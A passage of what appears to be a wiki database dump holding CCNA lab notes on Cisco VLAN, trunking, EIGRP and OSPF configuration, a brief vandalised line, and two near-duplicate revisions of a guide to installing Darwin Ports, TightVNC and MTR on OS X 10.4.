\n\n\'\'\'6.Assign ports to VLAN on Catalyst 2900\'\'\'\n\nIOS: int fa0/1 \n switchport access vlan 2 <3>\n
\n\'\'\'7.Create VLAN on Distro Switch\'\'\'\n\nCAT: set vlan 2 name GroupA\n set vlan 3 name GroupB\n\n
\n\'\'\'8.Inter VLAN Routing using external router\'\'\'\n\nOn distro switch:\n\nset port duplex 2/14 full\nset port name 2/14 blah\nset trunk 2/14 on dot1q\nsh trunk 2/14\n\nOn router:\n \ninf fa0/0\nfull duplex\nno ip address\nno shut\n\nint fa0/0.1 (.2,.3) //config sub interface\nencap dot1q 1 (2,3)\nip address 172.16.10.X 255.255.255.0\n \nsh int fa0/0\nsh ip int br\nsh ip route\n \nSet IP\'s on PC\'s to corresponding network int on Boarder router.\nE.g. Host A gateway = 172.16.20.1\n\nPing from each host to gateway and to each other to confirm inter Vlan routing\nNote: You may not be able to ping from Boarder router to access / distro, this \ndoes not matter as you can ping from Host to boarder, etc.\n
\n\n\'\'\'9.OSPF / EIGRP and Route Propagation\'\'\'\n\n EIGRP:\n int ser 0/0\n ip address \n router eigrp 10 //AS number\n network 172.16.10.0 //advertises network \n network 192.168.50.0 \n (Route may be auto-summarized. If discontinuous network this may affect routing.) \n\n int ser 0/0\n clockrate 56000 //On DCE side (sh controllers int serial 0/0 for DCE / DTE mode)\n bandwidth 56\n no shut\n\n int lo0(1,2)\n ip address 192.168.50.x 255.255.255.252 (/30)\n\n \n OSPF:\n router ospf 1 //OSPF Process Number\n network x.x.x.x 0.0.0.255 area 0 //advertises network\n \n sh ip route\n sh ip ospf int serial 0/0\n sh ip ospf neighbor\n\n clear ip ospf process //Clears OSPF routing process\n\n ping from each host to loopback interfaces out Outside router\n\n
\n\'\'\'8. OSPF Authentication\'\'\' \n\n int serial 0/0\n ip ospf message-digest-key 1 md5 \n router ospf 1\n area 0 auth message-digest //enables md5 for area 0\n\n debug ip ospf events\n Helps to isolate md5 issues, etc. as update packets are sent.\n u all //debug off\n
\n\n== CCNA 4 ==\n\nThe below vandalism by Professor Birdwell is being investigated.\n\n\'\'\'WAN Technologies\'\'\'\n\nyOu ArE tHe tRuE, woRmlY StEw PoT !!! WhAt a GeEk !!! i FoUnD YoUr pAgE.\n\nbY\n\nYbE Bor','utf-8'),(73,'This is a quick guide to installing Darwin ports under OS X 10.4\n\nDarwin ports in similar to the ports tree in Freebsd, providing easy building and installation of thousands of applications for OS X.\n\nYou must first install the development tools for OS X which include development libraries, the gcc, header files, etc. required to build applications. Darwin ports requires the C compiler and libraries to be installed in order to install the ports package itself.\n\n\n== Apple Developer Tools ==\n\nDownload X Code version 2.5 or latest for your platform (PPC, intel, etc.) from the Apple Developer site:\n\nhttps://connect.apple.com/\n\nThis is about a 900MB download.\n\nMount the .dmg file and install the development tools themselves. Documentation is included.\n\nYou can verify it is install correctly by typing gcc into a terminal:\n\n ChangeMe-2-Prod-2:~/Documents archimedes$ gcc\n powerpc-apple-darwin8-gcc-4.0.1: no input files\n ChangeMe-2-Prod-2:~/Documents archimedes$ \n\nShowing the gcc compiler is now installed, but no input file to compile was specified.\n\n== X11 for OS X ==\n\nYou should install X11, the X windows GUI environment for OS X. You and do this by either installing it from you OS X install disk, or better just download and install the latest version 1.1.3 directly. Installation is very straight forward.\n\nhttp://www.apple.com/support/downloads/x11update2006113.html\n\nAs an aside - now that you have X11 installed, why not install the GIMP for OS X? It\'s no more than a new clicks away at this point: http://www.macgimp.org/\n\n== Darwin Ports ==\n\nOnce X Code 2.5 is installed as above, installing Darwin Ports is quite straight forward.\n\nThe full instructions can be found at: http://darwinports.com/ as well as http://www.darwinports.com/install/\n\n1) Download darwin ports 1.5 or latest\n\n2) Mount the .dmg file and then install Darwin Ports.\n\n Important Step \n\n3) You \'\'\'MUST\'\'\' include some additional directories in your path so that OS X will be able to find the binaries included with Darwin Ports (i.e. the port command itself) and packages you install with it. Simple execute these commands in the terminal:\n\n export MANPATH=$MANPATH:/opt/local/share/man\n export INFOPATH=$INFOPATH:/opt/local/share/info\n export PATH=/opt/local/bin:/opt/local/sbin:$PATH\n\nAnd verify the path is set correctly and that it now includes /opt/local/bin by using echo $PATH from the terminal:\n\n ChangeMe-2-Prod-2:~/Documents archimedes$ echo $PATH\n /bin:/sbin:/usr/bin:/usr/sbin:/opt/local/bin\n\n4) Update the port package with:\n\n sudo port -d selfupdate\n\nThis will check the requierments for the build environment which is why X Code 2.5 was installed earlier. It will them compile a few things. \n\nNote that at the end it will display the location where Darwin Ports was installed to, for example:\n\n /opt/local/var/macports/sources/rsync.macports.org/release/base\n\n5) You may now install packages from ports by building them from the source code. See the following examples and documentation at http://darwinports.com/\n\n\n== Installing TightVNC ==\n\nTightVNC is a popular VNC server for X. This is usefull for connecting to you Mac if you are running X windows and using X apps. This will NOT directly allow you to connect to the normal OS X quartz / Aqua desktop remotely - to do that you may use other OS X VNC apps such as VineVNC Server which work quite well. \n\nInstalling TightVNC from Darwin ports consists of:\n\n1) From a terminal run:\n\n sudo port install tightvnc\n\n2) It build and install the app. After this, you will need to specify a path to X executables which are required for TightVNC:\n\n export PATH=$PATH:/usr/X11R6/bin/\n\n3) You may now run TightVNC with \n\n vncserver\n\n4) There are also other vnc apps installed, such as vncviewer to allow you to connect to other systems (OS X, Linux, etc) running VNC servers. vncpassword obviously sets the password for you vns sessions. \n\n ChangeMe-2-Prod-2:~/Documents archimedes$ vnc\n vncconnect vncpasswd vncserver vncviewer\n\n\n== Installing MTR ==\n\nHere is an example of using Darwin Ports to install MTR - a popular networking utility for route analysis:\n\n ChangeMe-2-Prod-2:~/Documents archimedes$ mtr\n -bash: mtr: command not found\n\nDarn, don\'t have MTR installed, no worries . . . \n\nChangeMe-2-Prod-2:~/Documents archimedes$ sudo port install mtr\nPassword:\n---> Fetching mtr\n---> Attempting to fetch mtr-0.72.tar.gz from ftp://ftp.bitwizard.nl/mtr/\n---> Verifying checksum(s) for mtr\n---> Extracting mtr\n---> Configuring mtr\n---> Building mtr with target all\n---> Staging mtr into destroot\n---> Installing mtr 0.72_0\n---> Activating mtr 0.72_0\n---> Cleaning mtr\n\nChangeMe-2-Prod-2:~/Documents archimedes$mtr cnn.com\n
\n\nIf mtr is not found you most likely do not have /opt/local/sbin set in your path, see above. If it is mtr is not installed and will run:\n\n\n My traceroute [v0.72]\nChangeMe-2-Prod-2.local (0.0.0.0) Sat Nov 24 18:01:08 2007\nKeys: Help Display mode Restart statistics Order of fields quit\n Packets Pings\n Host Loss% Snt Last Avg Best Wrst StDev\n 1. 192.168.2.1 0.0% 6 1.9 1.8 1.8 2.0 0.1\n 2. 10.97.96.1 0.0% 6 7.8 8.4 6.9 9.9 1.1\n 3. pch15.51.tampflerl-rtr2.tampabay.rr.com 0.0% 6 10.6 13.6 10.5 18.4 3.7\n 4. pos6-0-OC-192.tampflerl-rtr4.tampabay.rr.com 0.0% 6 11.4 15.9 10.3 37.8 10.8\n 5. pop2-tby-P3-0.atdn.net 0.0% 6 13.0 11.8 10.7 13.0 0.9\n 6. bb1-tby-P0-3.atdn.net 0.0% 6 14.3 32.7 10.8 133.8 49.5\n 7. bb2-atm-P2-0.atdn.net 0.0% 5 23.1 24.0 22.8 25.9 1.3\n 8. ???\n
\n\nThousands of other applications are now available to you using the same methodology. You may also learn more about a particular port with:\n\n port info mtr','utf-8'),(74,'This is a quick guide to installing Darwin ports under OS X 10.4\n\nDarwin ports in similar to the ports tree in Freebsd, providing easy building and installation of thousands of applications for OS X.\n\nYou must first install the development tools for OS X which include development libraries, the gcc, header files, etc. required to build applications. Darwin ports requires the C compiler and libraries to be installed in order to install the ports package itself.\n\n\n== Apple Developer Tools ==\n\nDownload X Code version 2.5 or latest for your platform (PPC, intel, etc.) from the Apple Developer site:\n\nhttps://connect.apple.com/\n\nThis is about a 900MB download.\n\nMount the .dmg file and install the development tools themselves. Documentation is included.\n\nYou can verify it is install correctly by typing gcc into a terminal:\n\n ChangeMe-2-Prod-2:~/Documents archimedes$ gcc\n powerpc-apple-darwin8-gcc-4.0.1: no input files\n ChangeMe-2-Prod-2:~/Documents archimedes$ \n\nShowing the gcc compiler is now installed, but no input file to compile was specified.\n\n== X11 for OS X ==\n\nYou should install X11, the X windows GUI environment for OS X. You and do this by either installing it from you OS X install disk, or better just download and install the latest version 1.1.3 directly. Installation is very straight forward.\n\nhttp://www.apple.com/support/downloads/x11update2006113.html\n\nAs an aside - now that you have X11 installed, why not install the GIMP for OS X? It\'s no more than a new clicks away at this point: http://www.macgimp.org/\n\n== Darwin Ports ==\n\nOnce X Code 2.5 is installed as above, installing Darwin Ports is quite straight forward.\n\nThe full instructions can be found at: http://darwinports.com/ as well as http://www.darwinports.com/install/\n\n1) Download darwin ports 1.5 or latest\n\n2) Mount the .dmg file and then install Darwin Ports.\n\n Important Step \n\n3) You \'\'\'MUST\'\'\' include some additional directories in your path so that OS X will be able to find the binaries included with Darwin Ports (i.e. the port command itself) and packages you install with it. Simple execute these commands in the terminal:\n\n export MANPATH=$MANPATH:/opt/local/share/man\n export INFOPATH=$INFOPATH:/opt/local/share/info\n export PATH=/opt/local/bin:/opt/local/sbin:$PATH\n\nAnd verify the path is set correctly and that it now includes /opt/local/bin by using echo $PATH from the terminal:\n\n ChangeMe-2-Prod-2:~/Documents archimedes$ echo $PATH\n /bin:/sbin:/usr/bin:/usr/sbin:/opt/local/bin\n\n4) Update the port package with:\n\n sudo port -d selfupdate\n\nThis will check the requierments for the build environment which is why X Code 2.5 was installed earlier. It will them compile a few things. \n\nNote that at the end it will display the location where Darwin Ports was installed to, for example:\n\n /opt/local/var/macports/sources/rsync.macports.org/release/base\n\n5) You may now install packages from ports by building them from the source code. See the following examples and documentation at http://darwinports.com/\n\n\n== Installing TightVNC ==\n\nTightVNC is a popular VNC server for X. This is usefull for connecting to you Mac if you are running X windows and using X apps. This will NOT directly allow you to connect to the normal OS X quartz / Aqua desktop remotely - to do that you may use other OS X VNC apps such as VineVNC Server which work quite well. \n\nInstalling TightVNC from Darwin ports consists of:\n\n1) From a terminal run:\n\n sudo port install tightvnc\n\n2) It build and install the app. After this, you will need to specify a path to X executables which are required for TightVNC:\n\n export PATH=$PATH:/usr/X11R6/bin/\n\n3) You may now run TightVNC with \n\n vncserver\n\n4) There are also other vnc apps installed, such as vncviewer to allow you to connect to other systems (OS X, Linux, etc) running VNC servers. vncpassword obviously sets the password for you vns sessions. \n\n ChangeMe-2-Prod-2:~/Documents archimedes$ vnc\n vncconnect vncpasswd vncserver vncviewer\n\n\n== Installing MTR ==\n\nHere is an example of using Darwin Ports to install MTR - a popular networking utility for route analysis:\n\nChangeMe-2-Prod-2:~/Documents archimedes$ mtr\n-bash: mtr: command not found\n\nDarn, don\'t have MTR installed, no worries . . . \n\nChangeMe-2-Prod-2:~/Documents archimedes$ sudo port install mtr\nPassword:\n---> Fetching mtr\n---> Attempting to fetch mtr-0.72.tar.gz from ftp://ftp.bitwizard.nl/mtr/\n---> Verifying checksum(s) for mtr\n---> Extracting mtr\n---> Configuring mtr\n---> Building mtr with target all\n---> Staging mtr into destroot\n---> Installing mtr 0.72_0\n---> Activating mtr 0.72_0\n---> Cleaning mtr\n\nChangeMe-2-Prod-2:~/Documents archimedes$mtr cnn.com\n
\n\nIf mtr is not found you most likely do not have /opt/local/sbin set in your path, see above. If path is exported, mtr will run:\n\n\n My traceroute [v0.72]\nChangeMe-2-Prod-2.local (0.0.0.0) Sat Nov 24 18:01:08 2007\nKeys: Help Display mode Restart statistics Order of fields quit\n